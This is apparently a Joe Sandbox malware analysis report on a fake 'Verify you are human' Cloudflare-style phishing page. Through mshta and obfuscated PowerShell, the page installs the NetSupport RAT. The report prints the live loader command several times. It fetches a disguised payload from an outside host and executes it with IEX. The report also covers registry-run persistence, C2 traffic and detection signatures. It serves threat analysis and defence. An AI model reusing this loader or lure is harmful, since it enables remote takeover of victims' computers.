Edit tour

Windows Analysis Report
https://inspyrehomedesign.com/Ray-verify.html

Overview

General Information

Sample URL:	https://inspyrehomedesign.com/Ray-verify.html
Analysis ID:	1544089
Infos:

Detection

NetSupport RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Detect drive by download via clipboard copy & paste

Sigma detected: Powershell drops NetSupport RAT client

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Contains functionalty to change the wallpaper

Delayed program exit found

Downloads files with wrong headers with respect to MIME Content-Type

Powershell drops PE file

Sigma detected: Suspicious MSHTA Child Process

Suspicious powershell command line found

Uses ipconfig to lookup or modify the Windows network settings

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (date check)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTML page contains hidden javascript code

HTML page contains string obfuscation

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Yara detected NetSupport remote tool

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 3008 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6832 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1896,i,2740781035066481159,16273883810358689985,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6436 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://inspyrehomedesign.com/Ray-verify.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

mshta.exe (PID: 7848 cmdline: "C:\Windows\system32\mshta.exe" https://inspyrehomedesign.com/Ray-verify.html # ? ''Verify you are human - Ray Verification ID: 3293'' MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 7944 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://traversecityspringbreak.com/o/o.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 8128 cmdline: "C:\Windows\system32\ipconfig.exe" /flushdns MD5: 62F170FB07FDBB79CEB7147101406EB8)

cmd.exe (PID: 8152 cmdline: "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\user\AppData\Roaming\bpsFyf MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

attrib.exe (PID: 8176 cmdline: attrib +h C:\Users\user\AppData\Roaming\bpsFyf MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

client32.exe (PID: 7368 cmdline: "C:\Users\user\AppData\Roaming\bpsFyf\client32.exe" MD5: EE75B57B9300AAB96530503BFAE8A2F2)

rundll32.exe (PID: 7448 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Roaming\bpsFyf\pcicapi.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\bpsFyf\PCICHEK.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\bpsFyf\HTCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\bpsFyf\TCCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\bpsFyf\PCICL32.DLL	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Roaming\bpsFyf\PCICL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author
00000015.00000002.2427569432.000000006C640000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000015.00000002.2405808800.0000000000D12000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000015.00000000.1975726137.0000000000D12000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000015.00000000.1975726137.0000000000D1F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: mshta.exe PID: 7848	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7944	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7944	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: client32.exe PID: 7368	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: client32.exe PID: 7368	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
21.2.client32.exe.73d70000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
21.0.client32.exe.d10000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
21.2.client32.exe.73d50000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
21.2.client32.exe.111b79e0.1.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
21.2.client32.exe.111b79e0.1.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
21.2.client32.exe.6c600000.2.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
21.2.client32.exe.11000000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
21.2.client32.exe.11000000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 3 entries

Other

Source	Rule	Description	Author	Strings
amsi64_7944.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://traversecityspringbreak.com/o/o.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://traversecityspringbreak.com/o/o.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X , CommandLine|base64offset|contains: ", Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\mshta.exe" https://inspyrehomedesign.com/Ray-verify.html # ? ''Verify you are human - Ray Verification ID: 3293'', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 7848, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://traversecityspringbreak.com/o/o.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X , ProcessId: 7944, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7944, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7944, TargetFilename: C:\Users\user\AppData\Roaming\bpsFyf\HTCTL32.DLL

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://traversecityspringbreak.com/o/o.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://traversecityspringbreak.com/o/o.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X , CommandLine|base64offset|contains: ", Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\mshta.exe" https://inspyrehomedesign.com/Ray-verify.html # ? ''Verify you are human - Ray Verification ID: 3293'', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 7848, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://traversecityspringbreak.com/o/o.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X , ProcessId: 7944, ProcessName: powershell.exe

Remote Access Functionality

Sigma detected: Powershell drops NetSupport RAT client

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7944, TargetFilename: C:\Users\user\AppData\Roaming\bpsFyf\NSM.LIC

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T19:46:17.038167+0100	2803274	2	Potentially Bad Traffic	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:17.218232+0100	2803274	2	Potentially Bad Traffic	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:18.039720+0100	2803274	2	Potentially Bad Traffic	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:19.280274+0100	2803274	2	Potentially Bad Traffic	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:19.443100+0100	2803274	2	Potentially Bad Traffic	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:19.676594+0100	2803274	2	Potentially Bad Traffic	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:19.838942+0100	2803274	2	Potentially Bad Traffic	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:20.094216+0100	2803274	2	Potentially Bad Traffic	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:20.317348+0100	2803274	2	Potentially Bad Traffic	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:25.238092+0100	2803274	2	Potentially Bad Traffic	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:25.701188+0100	2803274	2	Potentially Bad Traffic	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:26.502458+0100	2803274	2	Potentially Bad Traffic	192.168.2.16	49726	166.1.160.211	80	TCP

ETPRO MALWARE NetSupport RAT CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T19:45:13.415753+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.16	49729	92.255.85.135	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_110AD570 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,_malloc,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,

21_2_110AD570

Phishing

AI detected phishing page

Source: https://inspyrehomedesign.com/	LLM: Score: 9 Reasons: The brand 'CloudFlare' is well-known and typically associated with the domain 'cloudflare.com'., The provided URL 'inspyrehomedesign.com' does not match the legitimate domain for CloudFlare., The URL does not contain any elements that suggest a direct association with CloudFlare., The input fields and instructions provided are unusual for a legitimate CloudFlare service, indicating potential phishing tactics., The domain name 'inspyrehomedesign.com' does not suggest any connection to CloudFlare, raising suspicion. DOM: 2.3.pages.csv
Source: https://inspyrehomedesign.com/	LLM: Score: 9 Reasons: The brand 'CloudFlare' is well-known and typically associated with the domain 'cloudflare.com'., The provided URL 'inspyrehomedesign.com' does not match the legitimate domain for CloudFlare., The URL does not contain any elements that suggest a direct association with CloudFlare., The URL appears to be unrelated to the CloudFlare brand, suggesting a potential phishing attempt., The input fields labeled as 'unknown' do not provide any context or association with CloudFlare services. DOM: 2.2.pages.csv

Source: https://inspyrehomedesign.com/

HTTP Parser: Base64 decoded: <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="none"><path fill="#fc574a" d="M16 3a13 13 0 1 0 13 13A13.015 13.015 0 0 0 16 3m0 24a11 11 0 1 1 11-11 11.01 11.01 0 0 1-11 11"/><path fill="#fc574a" d="M17.038 18.615H14.87L14.563 9.5h2....

Source: https://inspyrehomedesign.com/Ray-verify.html

HTTP Parser: Found new string: script /*............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................*/var ppconf=0;var qy7='';qy8=String.fromCharCode(13,10,13,10);for...

Source: https://inspyrehomedesign.com/Ray-verify.html	HTTP Parser: No favicon
Source: https://inspyrehomedesign.com/Ray-verify.html	HTTP Parser: No favicon
Source: https://inspyrehomedesign.com/	HTTP Parser: No favicon
Source: https://inspyrehomedesign.com/	HTTP Parser: No favicon

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

File opened: C:\Users\user\AppData\Roaming\bpsFyf\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.1.160.75:443 -> 192.168.2.16:49724 version: TLS 1.2

Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp, client32.exe, 00000015.00000002.2429888490.0000000073D72000.00000002.00000001.01000000.00000010.sdmp, PCICHEK.DLL.12.dr
Source:	Binary string: msvcr100.i386.pdb source: client32.exe, client32.exe, 00000015.00000002.2427957833.0000000073C41000.00000020.00000001.01000000.00000012.sdmp, msvcr100.dll.12.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: client32.exe, 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdbN source: powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp, PCICHEK.DLL.12.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: client32.exe, 00000015.00000002.2427569432.000000006C640000.00000002.00000001.01000000.00000013.sdmp, HTCTL32.DLL.12.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: TCCTL32.DLL.12.dr
Source:	Binary string: E:\nsmsrc\nsm\1410\1410\client32\release_unicode\client32.pdb source: client32.exe, 00000015.00000002.2405808800.0000000000D12000.00000002.00000001.01000000.0000000E.sdmp, client32.exe, 00000015.00000000.1975726137.0000000000D12000.00000002.00000001.01000000.0000000E.sdmp, client32.exe.12.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: client32.exe, 00000015.00000002.2427569432.000000006C640000.00000002.00000001.01000000.00000013.sdmp, HTCTL32.DLL.12.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: client32.exe, 00000015.00000002.2429698530.0000000073D55000.00000002.00000001.01000000.00000011.sdmp, pcicapi.dll.12.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: TCCTL32.DLL.12.dr

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	21_2_1102D330
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11065890 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	21_2_11065890
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1106A0A0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	21_2_1106A0A0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_111266E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	21_2_111266E0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.16:49729 -> 92.255.85.135:443

Downloads files with wrong headers with respect to MIME Content-Type

Source: http	Image file has PE prefix: HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:19 GMT Content-Type: image/png Content-Length: 18808 Last-Modified: Mon, 21 Oct 2024 07:35:56 GMT Connection: keep-alive ETag: "6716045c-4978" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 73 76 0a bb 37 17 64 e8 37 17 64 e8 37 17 64 e8 2c 8a f8 e8 35 17 64 e8 2c 8a ce e8 34 17 64 e8 3e 6f f7 e8 30 17 64 e8 37 17 65 e8 0f 17 64 e8 2c 8a ca e8 33 17 64 e8 2c 8a ff e8 36 17 64 e8 2c 8a fe e8 36 17 64 e8 2c 8a f9 e8 36 17 64 e8 52 69 63 68 37 17 64 e8 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 66 88 bb 55 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0a 00 00 06 00 00 00 16 00 00 00 00 00 00 a0 10 00 00 00 10 00 00 00 20 00 00 00 00 00 10 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 00 00 00 04 00 00 b8 de 00 00 02 00 40 05 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 22 00 00 61 00 00 00 b8 20 00 00 50 00 00 00 00 40 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 20 00 00 78 29 00 00 00 50 00 00 84 00 00 00 40 20 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 04 00 00 00 10 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 1b 03 00 00 00 20 00 00 00 04 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 04 00 00 00 30 00 00 00 02 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 ec 0d 00 00 00 40 00 00 00 0e 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 01 00 00 00 50 00 00 00 02 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:25 GMT Content-Type: image/png Content-Length: 77280 Last-Modified: Mon, 21 Oct 2024 07:35:58 GMT Connection: keep-alive ETag: "6716045e-12de0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 67 cb 8f 56 23 aa e1 05 23 aa e1 05 23 aa e1 05 4c dc 7f 05 32 aa e1 05 2a d2 72 05 26 aa e1 05 23 aa e0 05 74 aa e1 05 4c dc 4b 05 75 aa e1 05 4c dc 4a 05 3e aa e1 05 4c dc 7b 05 22 aa e1 05 4c dc 7c 05 22 aa e1 05 52 69 63 68 23 aa e1 05 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 54 17 6f 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 82 00 00 00 4a 00 00 00 00 00 00 b4 21 00 00 00 10 00 00 00 a0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 01 00 00 04 00 00 51 1b 02 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 bd 00 00 3c 00 00 00 00 00 01 00 38 06 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 e0 5d 00 00 00 10 01 00 88 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 ba 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 de 80 00 00 00 10 00 00 00 82 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 2c 25 00 00 00 a0 00 00 00 26 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 2d 00 00 00 d0 00 00 00 0e 00 00 00 ac 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 38 06 00 00 00 00 01 00 00 08 00 00 00 ba 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 70 0c 00 00 00 10 01 00 00 0e 00 00 00 c2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 